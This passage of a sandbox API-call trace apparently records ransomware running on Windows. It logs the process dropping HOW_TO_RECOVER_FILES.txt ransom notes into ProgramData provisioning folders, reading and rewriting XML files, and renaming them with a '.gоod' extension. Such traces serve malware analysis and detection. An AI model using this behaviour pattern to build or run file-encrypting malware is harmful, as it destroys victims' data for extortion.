lpNumberOfBytesWritten=0x1f9ecaa8*=0x5d0, lpOverlapped=0x0) returned 1 [0125.702] CloseHandle (hObject=0x6e0) returned 1 [0125.702] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0125.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0125.702] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0125.702] GetFileType (hFile=0x6e0) returned 0x1 [0125.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0125.702] GetFileType (hFile=0x6e0) returned 0x1 [0125.703] WriteFile (in: hFile=0x6e0, lpBuffer=0x36bf278*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x36bf278*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0125.704] CloseHandle (hObject=0x6e0) returned 1 [0125.704] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0125.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0125.704] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0125.706] GetFileType (hFile=0x6e0) returned 0x1 [0125.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0125.707] GetFileType (hFile=0x6e0) returned 0x1 [0125.707] WriteFile (in: hFile=0x6e0, lpBuffer=0x36c46b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x36c46b8*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0125.708] CloseHandle (hObject=0x6e0) returned 1 [0125.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0125.708] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpFilePart=0x0) returned 0x4c [0125.708] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0125.709] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.709] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f19b66, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0125.709] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0125.710] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0125.710] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0125.710] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0125.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0125.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0125.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0125.710] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", lpFilePart=0x0) returned 0x4c [0125.710] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0125.711] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.711] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f19b66, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0125.711] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0125.711] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0125.711] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0125.711] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0125.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0125.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0125.711] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0125.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0125.712] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x36d4bf8 | out: lpFileInformation=0x36d4bf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f19b66, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x34d)) returned 1 [0125.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0125.712] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0125.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0125.712] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0125.712] GetFileType (hFile=0x6e0) returned 0x1 [0125.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0125.712] GetFileType (hFile=0x6e0) returned 0x1 [0125.712] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x34d [0125.712] ReadFile (in: hFile=0x6e0, lpBuffer=0x36d5260, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x36d5260*, lpNumberOfBytesRead=0x1f9edc08*=0x34d, lpOverlapped=0x0) returned 1 [0125.913] CloseHandle (hObject=0x6e0) returned 1 [0127.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0127.000] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0127.001] GetFileType (hFile=0x630) returned 0x1 [0127.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0127.001] GetFileType (hFile=0x630) returned 0x1 [0127.001] WriteFile (in: hFile=0x630, lpBuffer=0x35fbd20*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x35fbd20*, lpNumberOfBytesWritten=0x1f9edb18*=0x350, lpOverlapped=0x0) returned 1 [0127.002] CloseHandle (hObject=0x630) returned 1 [0127.002] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0127.002] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0127.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0127.002] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x47e91bc8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x350)) returned 1 [0127.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0127.002] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.gоod")) returned 1 [0127.003] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0127.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0127.003] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x35fd050 | out: lpFileInformation=0x35fd050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0127.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0127.195] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0127.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0127.197] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0127.197] GetFileType (hFile=0x618) returned 0x1 [0127.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0127.198] GetFileType (hFile=0x618) returned 0x1 [0127.198] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x10f [0127.198] ReadFile (in: hFile=0x618, lpBuffer=0x3545aa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3545aa0*, lpNumberOfBytesRead=0x1f9edc08*=0x10f, lpOverlapped=0x0) returned 1 [0127.241] CloseHandle (hObject=0x618) returned 1 [0127.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0127.701] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0127.702] GetFileType (hFile=0x618) returned 0x1 [0127.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0127.702] GetFileType (hFile=0x618) returned 0x1 [0127.702] WriteFile (in: hFile=0x618, lpBuffer=0x34f23f0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x34f23f0*, lpNumberOfBytesWritten=0x1f9edb18*=0x110, lpOverlapped=0x0) returned 1 [0127.703] CloseHandle (hObject=0x618) returned 1 [0127.703] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0127.703] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0127.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0127.703] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x48548b9d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0127.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0127.703] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml.gоod")) returned 1 [0127.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0127.704] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov", lpFilePart=0x0) returned 0x51 [0127.704] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0127.704] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.705] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0127.705] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0127.705] 